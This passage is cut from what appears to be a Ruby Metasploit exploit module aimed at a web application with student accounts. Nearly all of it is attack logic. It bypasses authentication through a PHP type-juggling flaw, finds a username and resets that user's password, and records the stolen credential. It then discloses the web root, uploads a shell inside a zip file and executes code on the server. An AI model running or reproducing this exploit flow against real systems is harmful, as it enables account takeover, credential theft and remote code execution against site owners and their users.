datastore['PASSWORD']) print_good("Logged in as #{datastore['USERNAME']}") # else, we reset the students password via a type juggle vulnerability else print_status("Account details are not set, bypassing authentication...") print_status("Triggering type juggle attack...") student_cookie = type_juggle print_good("Successfully bypassed the authentication in #{@number} requests !") username = find_user(student_cookie) print_good("Found the username: #{username} !") password = reset_password print_good("Successfully reset the #{username}'s account password to #{password} !") report_cred(user: username, password: password) student_cookie = login(username, password) print_good("Logged in as #{username}") end if disclose_web_root print_good("Found the webroot") # we got everything. Now onto pwnage if upload_shell(student_cookie, false) print_good("Zip upload successful !") exec_code end end end end =begin php.ini settings: display_errors = On =end